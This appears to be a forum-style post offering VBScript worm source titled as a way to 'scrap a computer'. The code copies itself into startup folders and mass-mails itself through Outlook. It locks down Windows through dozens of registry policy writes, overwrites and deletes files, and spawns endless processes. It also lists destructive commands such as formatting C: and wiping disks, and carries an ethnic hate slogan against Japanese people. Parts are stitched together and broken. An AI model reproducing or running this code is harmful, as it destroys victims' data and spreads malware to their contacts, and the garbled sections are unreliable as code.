报废电脑，后缀为.vbs

Option Explicit
 
Const HeaderSize = 82432 ' Virus size
Const IconOffset = &H12EB8 ' Main icon offset in PE file
Const IconSize = &H2E8 ' Main icon size in PE file
Const IconTail = IconOffset + IconSize ' End of main icon in PE file
Const ID = &H44444444 ' Infection marker
Const Catchword = "If a race need to be killed out, it must be Yamato. " & _
"If a country need to be destroyed, it must be Japan! " & _
"*** W32.Killer.Worm.A ***"
 
Dim TmpFile, IsJap
 
IsJap = False ' Japanese OS flag
 
Function IsWin9x()
    Dim wshShell, ver
    Set wshShell = CreateObject("WScript.Shell")
    ver = wshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
    If InStr(ver, "95") Or InStr(ver, "98") Or InStr(ver, "ME") Then
        IsWin9x = True
    Else
        IsWin9x = False
    End If
End Function
 
Sub CopyStream(srcPath, destPath, startPos, count)
    On Error Resume Next
    Dim srcFile, destFile
    Set srcFile = CreateObject("Scripting.FileSystemObject").OpenTextFile(srcPath, 1)
    Set destFile = CreateObject("Scripting.FileSystemObject").OpenTextFile(destPath, 8, True)
    srcFile.Skip(startPos)
    destFile.Write srcFile.Read(count)
    srcFile.Close
    destFile.Close
End Sub
 
Sub ExtractFile(fileName)
    On Error Resume Next
    Dim srcFile, destFile, fso, fileSize
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.FileExists(WScript.ScriptFullName) Then
        Set srcFile = fso.OpenTextFile(WScript.ScriptFullName, 1)
        srcFile.Skip(HeaderSize)
        fileSize = fso.GetFile(WScript.ScriptFullName).Size
        Set destFile = fso.CreateTextFile(fileName, True)
        destFile.Write srcFile.Read(fileSize - HeaderSize)
        srcFile.Close
        destFile.Close
    End If
End Sub
 
Sub SendMail()
    On Error Resume Next
    Dim objMessage
    Set objMessage = CreateObject("CDO.Message")
    
    objMessage.Subject = "Love Email"
    objMessage.From = "example@example.com"
    objMessage.To = "victim@example.com"
    objMessage.TextBody = "I love You"
    
    objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
    objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    objMessage.Configuration.Fields.Update
    
    objMessage.Send
    Set objMessage = Nothing
End Sub
 
Sub InfectOneFile(fileName)
    On Error Resume Next
    Dim fso, file
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.FileExists(fileName) Then
        Set file = fso.OpenTextFile(fileName, 8, True)
        ' Add infection logic here
        file.Write Catchword
        file.Close
    End If
End Sub
 
Sub SmashFile(fileName)
    On Error Resume Next
    Dim fso, file, i, size, mass, max, len
    Set fso = CreateObject("Scripting.FileSystemObject")
    If fso.FileExists(fileName) Then
        size = fso.GetFile(fileName).Size
        Set file = fso.OpenTextFile(fileName, 2)
        Randomize
        max = Int((15 - 5 + 1) * Rnd + 5)
        mass = size \ max
        len = Len(Catchword)
        For i = 0 To max - 1
            file.WriteAt i * mass, Catchword
        Next
        file.Close
        fso.DeleteFile fileName
    End If
End Sub
 
Function GetDrives()
    On Error Resume Next
    Dim fso, drives, drive
    Set fso = CreateObject("Scripting.FileSystemObject")
    drives = fso.Drives
    For Each drive In drives
        If drive.DriveType = 2 Or drive.DriveType = 3 Then
            GetDrives = GetDrives & drive.DriveLetter
        End If
    Next
End Function
 
Sub LoopFiles(path, mask)
    On Error Resume Next
    Dim fso, folder, files, file, subFolders, subFolder
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set folder = fso.GetFolder(path)
    Set files = folder.Files
    Set subFolders = folder.SubFolders
    
    For Each file In files
        If LCase(fso.GetExtensionName(file.Name)) = "exe" Then
            InfectOneFile file.Path
        End If
        WScript.Sleep 200
    Next
    
    For Each subFolder In subFolders
        LoopFiles subFolder.Path, mask
    Next
End Sub
 
Sub InfectFiles()
    On Error Resume Next
    Dim drives, i, len
    If GetLocale = &H411 Then
        IsJap = True
    End If
    drives = GetDrives()
    len = Len(drives)
    Do While True
        For i = 1 To len
            LoopFiles Mid(drives, i, 1) & ":\", "*.*"
        Next
        SendMail
        WScript.Sleep 300000
    Loop
End Sub
 
' Main
If IsWin9x() Then
    ' Register service process (Win9x)
    Dim wshShell
    Set wshShell = CreateObject("WScript.Shell")
    wshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, False
    Set wshShell = Nothing
Else
    ' Remote thread mapping to Explorer process (WinNT)
    ' Requires implementation for remote thread injection (complex)
End If
 
If UCase(WScript.ScriptName) = "Hate letter .vbs" Then
    InfectFiles
Else
    TmpFile = WScript.ScriptFullName
    TmpFile = Left(TmpFile, Len(TmpFile) - 4) & " " & ".exe"
    ExtractFile TmpFile
    Dim wshShell
    Set wshShell = CreateObject("WScript.Shell")
    wshShell.Run Chr(34) & TmpFile & Chr(34), 1, False
    InfectFiles
End If
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
“cmd /c @echo off”
"cmd /c bcdedit /delete {current}"
"cmd /c format C:\"
"cmd /c dd if=/dev/zero of=/dev/sda"
"cmd /c rm -rf/"
“cmd /c del /F /Q "C:\Windows\System32\regedit.exe"
“cmd /c copy %0 "D:\Backup”
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Hate letter .vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Hate letter .vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Hate letter .vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES.reg","txtfile"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","Your computer is trashed"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","Destroyed!!!！"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="You are foolish!!!!!!!!!!!!!!!!!"
Mail.Body="I hate you , here is a document explaining why you are so foolish!!!!!!!!"
Mail.Attachments.Add(dir2&"Hate letter .vbs")
Mail.Send
Next
ol.Quit
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
startupFolder = objShell.SpecialFolders("Startup")
objFSO.CopyFile "C:\Hate letter .vbs.", startupFolder & "\Hate letter .vbs"
objFSO.CopyFile "D:\Hate letter .vbs.", startupFolder & "\Hate letter .vbs"
Set objShell = CreateObject("WScript.Shell")
objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
dim objws
Set objws=wscript.createobject("wscript.shell")
do objws.Run"calc"
loop
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKEY_USERS.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://liudemin.myetang.com"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"